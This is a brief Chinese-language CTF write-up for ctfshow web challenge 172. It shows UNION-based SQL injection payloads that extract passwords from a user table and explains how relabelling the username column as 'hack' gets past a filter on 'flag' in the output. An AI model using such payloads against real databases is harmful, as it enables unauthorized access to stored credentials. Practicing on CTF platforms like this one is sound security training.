ctf show web 入门172
这道题前面一样先把库名和表名查出来
构造payload为:-1’ union select ‘hack’, password from ctfshow_user2 where username=‘flag’;–+
因为如果使用以前的payload:-1’ union select 1,username,password from ctfshow_user–+
数据库就会返回flag,导致被限制从而看不到回显的内容
使用第一个payload:就把username写为:hack,从而绕过了对flag的限制,而多出来的 where username=‘flag’ 是为了“精准定位”,即使不加也不会造成影响
